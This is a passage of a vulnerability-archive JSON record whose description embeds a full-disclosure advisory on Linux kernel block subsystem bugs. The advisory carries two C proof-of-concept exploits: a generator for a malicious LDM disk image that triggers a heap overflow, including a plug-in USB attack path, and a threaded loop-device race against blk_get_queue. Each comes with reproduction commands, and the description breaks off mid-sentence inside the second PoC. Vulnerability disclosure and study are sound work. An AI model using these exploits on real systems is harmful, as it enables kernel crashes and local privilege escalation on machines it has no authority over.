          "type": "finder",
          "value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "================================================================================\nFULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities\nDate: 2025-12-29\nAffected: Linux Kernel (all versions with affected code)\n================================================================================\n\n================================================================================\n[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: Integer Overflow leading to Heap Buffer Overflow\nFile: block/partitions/ldm.c:1247\nSeverity: HIGH (7.8 CVSS)\nImpact: Local privilege escalation, kernel code execution\nAttack Vector: Malicious disk image / USB device\n\nTECHNICAL DETAILS\n-----------------\nThe LDM (Logical Disk Manager) partition parser contains an integer overflow\nvulnerability in the VBLK fragment reassembly code. When parsing Windows\ndynamic disks, the kernel allocates a buffer using:\n\n    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nWhere both \u0027size\u0027 and \u0027num\u0027 are attacker-controlled 16-bit values read from\nthe disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:\n\n    0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)\n    sizeof(*f) + 0xFFFE0001 = small allocation\n\nThe kernel allocates a small buffer but later writes up to 64KB of data into\nit, causing a heap buffer overflow.\n\nAFFECTED CODE (block/partitions/ldm.c)\n--------------------------------------\nLine 1247:\n    f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nLine 461 (bounds check also vulnerable):\n    if ((vm-\u003evblk_size * vm-\u003evblk_offset) \u003e 65536) {\n\nPROOF OF CONCEPT\n----------------\n/*\n * ldm_overflow_poc.c - LDM Integer Overflow PoC\n * Creates a malicious disk image triggering the overflow\n *\n * Compile: gcc -o ldm_poc ldm_overflow_poc.c\n * Usage: ./ldm_poc output.img \u0026\u0026 losetup /dev/loop0 output.img\n *\n * WARNING: This WILL crash/corrupt your kernel. Use in VM only.\n */\n\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cunistd.h\u003e\n\n/* LDM structures */\n#define LDM_MAGIC \"PRIVHEAD\"\n#define VBLK_MAGIC \"VBLK\"\n\nstruct ldm_privhead {\n    char magic[8];\n    uint32_t version;\n    uint64_t disk_id;\n    char host_id[64];\n    char disk_group_id[64];\n    char disk_group_name[32];\n    uint32_t logical_disk_start;\n    uint32_t logical_disk_size;\n    uint32_t config_start;\n    uint32_t config_size;\n    uint32_t num_tocs;\n    uint32_t toc_size;\n    uint32_t num_configs;\n    uint32_t config_record_size;\n    uint32_t num_logs;\n    uint32_t log_size;\n} __attribute__((packed));\n\nstruct ldm_vmdb {\n    char magic[4];           /* \"VMDB\" */\n    uint32_t last_seq;\n    uint32_t vblk_size;      /* Controlled - use 0xFFFF */\n    uint32_t vblk_offset;    /* Controlled - use 0xFFFF */\n    uint16_t num_vblks;\n    /* ... */\n} __attribute__((packed));\n\nstruct ldm_vblk_head {\n    char magic[4];           /* \"VBLK\" */\n    uint32_t seq;\n    uint32_t group;\n    uint16_t rec_num;        /* Fragment number */\n    uint16_t num_recs;       /* Total fragments - use large value */\n    /* ... */\n} __attribute__((packed));\n\nvoid create_malicious_ldm_image(const char *filename) {\n    int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n    if (fd \u003c 0) {\n        perror(\"open\");\n        exit(1);\n    }\n\n    /* Create 2MB sparse image */\n    ftruncate(fd, 2 * 1024 * 1024);\n\n    /* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */\n    struct ldm_privhead privhead = {0};\n    memcpy(privhead.magic, LDM_MAGIC, 8);\n    privhead.version = 0x0002000C;  /* Version 2.12 */\n    privhead.config_start = 1;\n    privhead.config_size = 2048;\n\n    lseek(fd, 6 * 512, SEEK_SET);\n    write(fd, \u0026privhead, sizeof(privhead));\n\n    /* Write VMDB with overflow values */\n    struct ldm_vmdb vmdb = {0};\n    memcpy(vmdb.magic, \"VMDB\", 4);\n    vmdb.vblk_size = 0xFFFF;    /* OVERFLOW VALUE */\n    vmdb.vblk_offset = 0xFFFF;  /* OVERFLOW VALUE */\n    vmdb.num_vblks = 100;\n\n    lseek(fd, 8 * 512, SEEK_SET);  /* VMDB location */\n    write(fd, \u0026vmdb, sizeof(vmdb));\n\n    /* Write VBLK fragments that trigger reassembly overflow */\n    struct ldm_vblk_head vblk = {0};\n    memcpy(vblk.magic, VBLK_MAGIC, 4);\n    vblk.seq = 1;\n    vblk.group = 1;\n    vblk.rec_num = 0;\n    vblk.num_recs = 0xFFFF;  /* Large fragment count */\n\n    /* Write multiple fragments to trigger reassembly */\n    for (int i = 0; i \u003c 10; i++) {\n        vblk.rec_num = i;\n        lseek(fd, (16 + i) * 512, SEEK_SET);\n        write(fd, \u0026vblk, sizeof(vblk));\n\n        /* Fill rest of sector with controlled data */\n        char payload[512 - sizeof(vblk)];\n        memset(payload, \u0027A\u0027, sizeof(payload));\n        write(fd, payload, sizeof(payload));\n    }\n\n    close(fd);\n    printf(\"[+] Created malicious LDM image: %s\\n\", filename);\n    printf(\"[!] WARNING: Mounting this image WILL crash the kernel\\n\");\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        fprintf(stderr, \"Usage: %s \u003coutput.img\u003e\\n\", argv[0]);\n        return 1;\n    }\n\n    create_malicious_ldm_image(argv[1]);\n\n    printf(\"\\nReproduction steps:\\n\");\n    printf(\"1. Copy image to target VM\\n\");\n    printf(\"2. sudo losetup /dev/loop0 %s\\n\", argv[1]);\n    printf(\"3. sudo partprobe /dev/loop0  # TRIGGERS CRASH\\n\");\n    printf(\"\\nOr:\\n\");\n    printf(\"1. Write image to USB drive\\n\");\n    printf(\"2. Plug USB into target machine\\n\");\n    printf(\"3. Kernel auto-probes partitions -\u003e CRASH\\n\");\n\n    return 0;\n}\n\nREPRODUCTION STEPS\n------------------\n1. Compile the PoC on any Linux system:\n   $ gcc -o ldm_poc ldm_overflow_poc.c\n\n2. Create the malicious image:\n   $ ./ldm_poc malicious.img\n\n3. In a VM (DO NOT RUN ON PRODUCTION):\n   $ sudo losetup /dev/loop0 malicious.img\n   $ sudo partprobe /dev/loop0\n\n4. Kernel will crash with heap corruption\n\nAlternative (USB attack vector):\n1. Write malicious.img to USB drive:\n   $ sudo dd if=malicious.img of=/dev/sdX bs=1M\n2. Plug USB into target machine\n3. Kernel crashes during automatic partition probing\n\nIMPACT\n------\n- Heap buffer overflow with controlled size and data\n- Kernel code execution possible via heap spray\n- Physical access attack via malicious USB\n- No user interaction required (auto-probe)\n\nSUGGESTED FIX\n-------------\nReplace vulnerable allocation with overflow-safe version:\n\n-   f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n+   if (check_mul_overflow(size, num, \u0026alloc_size) ||\n+       check_add_overflow(alloc_size, sizeof(*f), \u0026alloc_size)) {\n+       ldm_error(\"VBLK allocation overflow\");\n+       return false;\n+   }\n+   f = kmalloc(alloc_size, GFP_KERNEL);\n\n\n================================================================================\n[2/4] Request Queue Reference Counting Race Condition\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: TOCTOU Race Condition / Use-After-Free\nFile: block/blk-core.c:278-284\nSeverity: MEDIUM (5.5 CVSS)\nImpact: Kernel crash, potential privilege escalation\nAttack Vector: Local, requires timing\n\nTECHNICAL DETAILS\n-----------------\nThe blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)\nrace condition between checking if the queue is dying and incrementing\nthe reference count:\n\n    bool blk_get_queue(struct request_queue *q)\n    {\n        if (unlikely(blk_queue_dying(q)))   // CHECK\n            return false;\n        refcount_inc(\u0026q-\u003erefs);             // USE - race window!\n        return true;\n    }\n\nBetween the check and the increment, another CPU can complete queue\nteardown, decrement refs to 0, and free the structure. The subsequent\nrefcount_inc() then operates on freed memory.\n\nAFFECTED CODE (block/blk-core.c)\n--------------------------------\nLines 278-284:\n    bool blk_get_queue(struct request_queue *q)\n    {\n        if (unlikely(blk_queue_dying(q)))\n            return false;\n        refcount_inc(\u0026q-\u003erefs);  // Should be refcount_inc_not_zero\n        return true;\n    }\n\nPROOF OF CONCEPT\n----------------\n/*\n * blk_queue_race_poc.c - Request Queue Race Condition PoC\n *\n * This PoC demonstrates the TOCTOU race in blk_get_queue().\n * Requires root and a removable block device (USB/loop).\n *\n * Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c\n * Usage: sudo ./queue_race /dev/loop0\n */\n\n#define _GNU_SOURCE\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003clinux/loop.h\u003e\n#include \u003clinux/fs.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003csched.h\u003e\n\n#define NUM_RACERS 4\n#define ITERATIONS 100000\n\nstatic volatile int race_running = 1;\nstatic char *loop_device;\nstatic char *backing_file;\n\n/* Thread that repeatedly opens the block device */\nvoid *opener_thread(void *arg) {\n    int cpu = (int)(long)arg;\n    cpu_set_t cpuset;\n\n    CPU_ZERO(\u0026cpuset);\n    CPU_SET(cpu % 4, \u0026cpuset);\n    pthread_setaffinity_np(pthread_self(), sizeof(cpuset), \u0026cpuset);\n\n    while (race_running) {\n        int fd = open(loop_device, O_RDONLY | O_NONBLOCK);\n        if (fd \u003e= 0) {\n            /* Perform I/O to exercise queue paths */\n            char buf[512];\n            read(fd, buf, sizeof(buf));\n            close(fd);\n        }\n        /* Tight loop to maximize race window hits */\n    }\n    return NULL;\n}\n\n/* Thread that repeatedly detaches/attaches loop device */\nvoid *detacher_thread(void *arg) {\n    int loop_ctl_fd = open(\"/dev/loop-control\", O_RDWR);\n    int backing_fd = -1;\n\n    while (race_running) {\n        /* Get a free loop device number */\n        int loop_fd = open(loop_device, O_RDWR);\n        if (loop_fd \u003e= 0) {\n            /* Detach - triggers queue dying state */\n            ioctl(loop_fd, LOOP_CLR_FD, 0);\n            close(loop_fd);\n        }\n\n        usleep(100);  /* Small delay */\n\n        /* Reattach */\n        loop_fd = open(loop_device, O_RDWR);\n        backing_fd = open(backing_file, O_RDWR);\n        if (loop_fd \u003e= 0 \u0026\u0026 backing_fd \u003e= 0) {\n            ioctl(loop_fd, LOOP_SET_FD, backing_fd);\n            close(backing_fd);\n            close(loop_fd);\n        }\n\n        usleep(100);\n    }\n\n    close(loop_ctl_fd);\n    return NULL;\n}\n\n/* Thread that submits I/O to exercise blk_get_queue paths */\nvoid *io_submitter_thread(void *arg) {\n    while (race_running) {\n        int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);\n        if (fd \u003e= 0) {\n            void *buf;\n            posix_memalign(\u0026buf, 512, 4096);\n\n            /* Submit I/O - internally calls blk_get_queue */\n            pread(fd, buf, 4096, 0);\n\n            free(buf);\n            close(fd);\n        }\n    }\n    return NULL;\n}\n\nint main(int argc, char **argv) {\n    pthread_t openers[NUM_RACERS];\n    pthread_t submitters[NUM_RACERS];\n    pthread_t detacher;\n\n    if (argc != 3) {\n        fprintf(stderr, \"Usage: %s \u003cloop_device\u003e \u003cbacking_file\u003e\\n\", argv[0]);\n        fprintf(stderr, \"Example: %s /dev/loop0 /tmp/test.img\\n\", argv[0]);\n        return 1;\n    }\n\n    loop_device = argv[1];\n    backing_file = argv[2];\n\n    /* Create backing file if needed */\n    int bf = open(backing_file, O_RDWR | O_CREAT, 0644);\n    if (bf \u003e= 0) {\n        ftruncate(bf, 10 * 1024 * 1024);  /* 10MB */\n        close(bf);\n    }\n\n    /* Initial loop setup */\n    int loop_fd = open(loop_device, O_RDWR);\n    int back_fd = open(backing_file, O_RDWR);\n    if (loop_fd \u003e= 0 \u0026\u0026 back_fd \u003e= 0) {\n        ioctl(loop_fd, LOOP_SET_FD, back_fd);\n        close(back_fd);\n        close(loop_fd);\n    }\n\n    printf(\"[*] Starting race condition PoC\\n\");\n    printf(\"[*] Target: %s\\n\", loop_device);\n    printf(\"[*] This may take a while or crash the kernel...\\n\");\n\n    /* Start racer threads */\n    for (int i = 0; i \u003c NUM_RACERS; i++) {\n        pthread_create(\u0026openers[i], NULL, opener_thread, (void*)(long)i);\n        pthread_create(\u0026submitters[i], NULL, io_submitter_thread, (void*)(long)i);\n    }\n    pthread_create(\u0026detacher, NULL, detacher_thread, NULL);\n\n    /* Run for a "
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:17Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/0"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Linux Kernel Block Subsystem Vulnerabilities",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2025-0001",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/0",
            "automated": true,
            "contentSha256": "32de6235455076c016dc8c2f5582de70e96ca488e28216ce0ba889a748b0e4f6",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2025-12-29T20:20:00Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-09T10:11:17Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2025-0001"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}